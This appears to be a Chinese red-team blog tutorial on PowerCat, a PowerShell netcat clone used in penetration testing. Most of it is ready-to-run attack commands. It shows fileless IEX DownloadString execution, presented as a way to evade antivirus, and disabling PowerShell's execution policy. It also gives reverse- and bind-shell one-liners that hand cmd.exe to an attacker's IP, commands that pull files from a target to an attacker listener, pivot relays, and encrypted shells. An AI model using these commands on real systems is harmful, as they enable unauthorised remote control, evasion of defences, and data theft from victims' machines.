// 红队渗透 · 2024-12-26

Windows版的nc?PowerCat使用指南

🍬 写在前面

👨‍🎓 博主介绍:大家好,我是 vortex5 ,很高兴认识大家 ➤ 主页传送门

✨主攻领域:【网络安全】【渗透领域】【SRC挖掘】【靶场复现】 📝欢迎大家关注我的 vx 公.众.号:飓风瞭望 🎉如果本文对您有所帮助,请点赞➕评论➕收藏 一键三连😋 🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步 🙏作者水平有限,欢迎各位大佬指点,相互学习进步呀~

在这里插入图片描述

1. 什么是 PowerCat

PowerCat 是一款完全基于 PowerShell 的网络工具,被称为 Powershell 版的 nc,专为渗透测试设计。

核心特点

  • 无额外依赖:完全基于 PowerShell,无需额外安装任何软件。
  • 跨平台兼容:可与经典的 Netcat 无缝对接,支持 TCP、UDP 和 SSL 协议。
  • 多功能集成:支持反向 Shell、绑定 Shell、文件传输和加密通信等功能。

2. 安装 PowerCat

GitHub 地址:https://github.com/besimorhino/powercat

Kali Linux 中已预安装 powercat 命令,其自带的脚本文件文件路径为:/usr/share/windows-resources/powercat/ ,可将该文件拷贝到目标 Windows 系统中运行。 在这里插入图片描述 在渗透测试中,可通过 Python 启动一个简单的 HTTP 服务,然后使用 wget 或其他工具将 PowerCat 脚本传输到目标靶机。

脚本导入

  1. 下载 PowerCat 后,使用以下命令导入模块:

    Import-Module .\powercat.ps1

    注意:.ps1 是 PowerShell 脚本的扩展名,其本质是一个纯文本文件。

  2. 如果提示“未能加载指定模块”,可能与权限设置相关,需调整 PowerShell 的执行策略。

知识扩展:执行策略

PowerShell 为防止恶意脚本执行,设有执行策略。默认策略为 Restricted,即禁止运行任何脚本。

  • 查看当前执行策略

    Get-ExecutionPolicy

    示例输出:

    PS C:\Users\teamssix> Get-ExecutionPolicy
    Restricted
  • 执行策略类型

    • Restricted:禁止运行脚本。
    • RemoteSigned:允许运行本地脚本,网络下载的脚本需具有可信签名。
    • AllSigned:仅允许运行由可信发布者签名的脚本。
    • Unrestricted:不限制脚本运行,无需签名。
  • 修改执行策略
    使用以下命令设置执行策略(需管理员权限):

    Set-ExecutionPolicy Unrestricted

    设置完成后,即可正常导入 PowerCat 模块。导入成功后,运行以下命令查看帮助信息:

    powercat -h

进阶用法:无文件落地执行 PowerCat

除了将脚本文件直接拷贝到目标系统后执行,还可使用 PowerShell 的特性实现无文件落地执行。

无文件执行的优势
无文件执行指在目标系统中直接从网络获取 PowerCat 脚本,并将其加载到内存中运行,而不在系统中保存实体文件。这种方式隐蔽性更高,更难被传统杀毒软件检测到。

实现方式 利用 PowerShell 内置的命令,可以直接从远程服务器加载并运行 PowerCat 脚本,无需任何本地存储操作。例如:

  • 方法一:通过 Net.WebClient 下载并执行
IEX (New-Object Net.WebClient).DownloadString('https://192.168.111.128/powercat.ps1')
  • 方法二:通过 Invoke-RestMethod 下载并执行
IEX (Invoke-RestMethod -Uri 'https://192.168.111.128/powercat.ps1')

注意事项

  • 某些安全防护产品已具备流量检测和内存监控功能,能够发现此类攻击行为。
  • 无文件执行并非绝对安全,攻防双方技术不断演进,因此需根据目标环境动态调整策略。

渗透测试和防御技术的对抗是动态发展的,没有绝对完美的攻击手段,也没有绝对有效的防御措施。攻防能力的高下取决于技术的深入理解与灵活运用。


3. PowerCat 使用场景

获取 Shell

PowerCat 提供了绑定 Shell 和 反向 Shell两种方式帮助渗透测试人员获取目标机器的 Shell 。


反向 Shell

反向 Shell 场景中,目标机器会主动连接攻击者的监听端口并提供 Shell。这种方式特别适用于目标机器位于防火墙后或 NAT 网络环境中,攻击者无法直接访问目标机器的情况。

在攻击者机器执行: 开启监听,等待目标机器连接:

powercat -l -p 5555
  • -l:监听模式;
  • -p 5555:监听端口为 5555。

如果攻击机是Kali,也可使用nc等命令监听。

在目标机器执行: 目标机器主动连接攻击者并获取 Shell:

powercat -c <攻击者IP> -p 5555 -e cmd.exe
  • -c <攻击者IP>:指定连接到攻击者的 IP 地址;
  • -p 5555:连接攻击者监听的端口;
  • -e cmd.exe:提供命令行界面。

如果采用无文件落地的方式,也可一步到位:

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 你的公网ip -p 监听的端口 -e cmd

一旦连接建立,攻击者即可在自己的终端上获取目标机器的命令行权限。


绑定 Shell

在绑定 Shell 场景中,目标机器会监听指定端口,等待攻击者主动连接并获取 Shell。这种方式适用于攻击者能够直接访问目标机器的网络环境。

在目标机器执行:

powercat -l -p 4444 -e cmd.exe
  • -l:开启监听模式,使目标机器等待连接;
  • -p 4444:指定监听端口为 4444;
  • -e cmd.exe:将目标机器的命令行界面绑定到该端口。

在攻击者机器执行: 在攻击者机器上使用 PowerCat 或类似工具进行连接:

powercat -c <目标IP> -p 4444

攻击者执行该命令后,即可连接目标机器并获得命令行访问权限。


文件传输

PowerCat 不仅可以获取 Shell,还能快速高效地进行文件传输,无需借助其他工具。其文件传输功能既可以用于上传文件到目标机器,也能从目标机器下载文件。

上传文件到目标机器

  1. 在目标机器上监听并接收文件:

    powercat -l -p 4444 -of received_file.txt
    • -of received_file.txt:将接收到的文件保存为 received_file.txt。
  2. 在攻击者机器上传送文件:

    powercat -c <目标IP> -p 4444 -i file_to_send.txt
    • -i file_to_send.txt:指定待发送的文件。

从目标机器下载文件

  1. 在攻击者机器上监听并接收文件:

    powercat -l -p 5555 -of downloaded_file.txt
    • -of downloaded_file.txt:将接收到的文件保存为 downloaded_file.txt。
  2. 在目标机器上发送文件:

    powercat -c <攻击者IP> -p 5555 -i file_to_send.txt
    • -i file_to_send.txt:指定要发送的文件。

这种文件传输方式高效、简单,不依赖外部工具,适用于快速传递文件。


管道转发

PowerCat 还可以用于实现管道转发,作为跳板连接不同的网络或设备。例如,当目标机器需要访问不同网络时,可以通过 PowerCat 转发流量,利用中间机进行跳跃式攻击。以下为示例使用场景:

在 Windows 2008 机器上执行:

powercat -l -p 6666 -e cmd.exe

在 Windows 7 机器上执行:

powercat -l -v -p 8000 -r tcp:192.168.138.138:6666

在 Kali Linux 机器上执行:

nc 192.168.1.111 8000 -v

在此场景中,Kali Linux 机器可以通过 Windows 7 机器的转发功能,连接到 Windows 2008 机器,从而绕过网络限制,实现访问。


加密传输

为了保护数据的安全性,PowerCat 提供了加密功能,以防止数据在传输过程中被拦截或篡改。

开启加密传输:

powercat -l -p 4444 -e cmd.exe -enc
  • -enc:启用加密传输,确保数据传输过程中的安全性。

在攻击者机器上解密连接:

powercat -c <目标IP> -p 4444 -dec
  • -dec:解密传输的数据,确保攻击者可以读取来自目标的加密数据。

启用加密功能后,所有传输的数据都将经过加密,避免被中途监听或截获,增加了通信的安全性。


总结

PowerCat 是一款功能强大的网络工具,在渗透测试中具有广泛的应用场景。无论是获取 Shell、文件传输,还是管道转发和加密传输,PowerCat 都提供了灵活高效的解决方案。通过合理利用 PowerCat,渗透测试人员可以在多个层面提高攻击效率。

原文 https://blog.csdn.net/2301_79518550/article/details/144678015